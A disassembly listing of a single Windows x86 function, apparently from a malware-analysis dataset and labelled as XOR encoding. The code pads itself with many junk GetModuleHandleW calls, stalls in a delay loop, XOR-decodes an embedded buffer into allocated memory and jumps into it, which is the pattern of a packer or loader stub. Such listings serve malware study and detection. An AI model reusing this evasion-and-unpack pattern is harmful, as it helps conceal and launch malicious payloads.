Function at 0x4d10f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
mov eax, 0x4d0cdc
call fcn.004067e0
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
mov dword [0x4d5e6c], 0x1001
mov dword [0x4d5e70], 0x2314
mov dword [0x4d5e74], 0x8a58a
mov dword [0x4d5e24], 0xe
push 0
call sub.user32.dll_GetDlgCtrlID
inc dword [0x4d5e24]
cmp dword [0x4d5e24], 0x530723
jne 0x4d18ad
mov dword [0x4d5e3c], 0xab9f0
mov dword [0x4d5e5c], esp
add dword [0x4d5e5c], 0x44
mov dword [0x4d5e60], ebp
add dword [0x4d5e60], 0x20
lea ecx, [0x4d5668]
mov eax, dword [ecx - 0x10]
mov dword [0x4d5e68], eax
mov eax, dword [ecx - 0x14]
mov dword [0x4d5e64], eax
push 0x4d1bdc
push 0xa
mov ecx, dword [0x4d5668]
mov dl, 1
mov eax, dword [0x41b534]
call fcn.004202d4
mov dword [0x4d5e28], eax
push 0x4d1be0
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4d5e78], eax
mov dword [0x4d5e7c], 0xffffffff
mov dword [0x4d5e48], 0x4d
mov eax, dword [0x4d5e28]
mov edx, dword [eax]
call dword [edx]
add eax, dword [0x4d5e48]
mov dword [0x4d5e80], eax
xor eax, eax
mov dword [0x4d5e84], eax
mov eax, dword [0x4d5e70]
sub eax, 0x22d4
push eax
mov eax, dword [0x4d5e6c]
dec eax
push eax
mov eax, dword [0x4d5e80]
push eax
mov eax, dword [0x4d5e84]
push eax
push 0xffffffffffffffff
call dword [0x4d5e78]
mov dword [0x4d5e2c], eax
mov eax, dword [0x4d5e70]
sub eax, 0x22d4
push eax
mov eax, dword [0x4d5e6c]
dec eax
push eax
mov eax, dword [0x4d5e80]
push eax
mov eax, dword [0x4d5e84]
push eax
push 0xffffffffffffffff
call dword [0x4d5e78]
mov dword [0x4d5e34], eax
mov eax, dword [0x4d5e28]
mov edx, dword [eax]
call dword [edx]
mov edx, eax
mov eax, dword [0x4d5e34]
call fcn.004074b8
mov eax, dword [0x4d5e28]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [0x4d5e2c]
mov eax, dword [0x4d5e28]
call fcn.0041fc70
mov eax, dword [0x4d5e2c]
mov eax, dword [eax]
mov dword [0x4d5e38], eax
mov eax, dword [0x4d5e2c]
add eax, 4
mov dword [0x4d5e2c], eax
mov eax, dword [0x4d5e34]
mov dword [0x4d5e30], eax
mov eax, dword [0x4d5e30]
sub eax, 4
mov dword [0x4d5e30], eax
xor eax, eax
mov dword [0x4d5e54], eax
xor eax, eax
mov dword [0x4d5e58], eax
mov dword [0x4d5e44], 0xe3f
mov dword [0x4d5e4c], 1
mov eax, dword [0x4d5e28]
mov edx, dword [eax]
call dword [edx]
mov dword [0x4d5e50], eax
xor eax, eax
mov dword [0x4d5e24], eax
mov eax, dword [0x4d5e54]
cmp eax, dword [0x4d5e50]
jae 0x4d1ac5
mov eax, dword [0x4d5e54]
add eax, dword [0x4d5e24]
mov dword [0x4d5e80], eax
mov eax, dword [0x4d5e2c]
xor edx, edx
push edx
push eax
mov eax, dword [0x4d5e80]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
mov eax, dword [0x4d5e34]
add eax, dword [0x4d5e58]
mov ecx, dword [0x4d5e48]
call fcn.004074b0
mov eax, dword [0x4d5e48]
add dword [0x4d5e58], eax
mov eax, dword [0x4d5e48]
add dword [0x4d5e54], eax
mov eax, dword [0x4d5e4c]
add dword [0x4d5e54], eax
jmp 0x4d1a54
xor eax, eax
mov dword [0x4d5e24], eax
mov eax, dword [0x4d5e24]
cmp eax, dword [0x4d5e38]
jae 0x4d1b63
mov eax, dword [0x4d5e24]
mov edx, dword [0x4d5e34]
add dword [edx], eax
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
mov ebx, eax
mov eax, dword [0x4d5e44]
add eax, dword [0x4d5e74]
add eax, dword [0x4d5e24]
add ebx, eax
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
sub ebx, eax
mov eax, dword [0x4d5e34]
xor dword [eax], ebx
add dword [0x4d5e24], 4
add dword [0x4d5e34], 4
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
push 0x4d1bc0
call sub.kernel32.dll_GetModuleHandleW
mov eax, dword [0x4d5e24]
cmp eax, dword [0x4d5e38]
jb 0x4d1add
mov eax, dword [0x4d5e30]
add eax, dword [0x4d5e3c]
sub eax, 0x1000
add eax, 4
mov dword [0x4d5e40], eax
mov eax, 0x71
push dword [0x4d5e5c]
mov eax, 0x19e
push dword [0x4d5e60]
mov eax, 0x5b0
push dword [0x4d5e64]
mov eax, 0xa7
push dword [0x4d5e68]
push dword [0x4d5668]
mov eax, 1
push eax
jmp dword [0x4d5e40]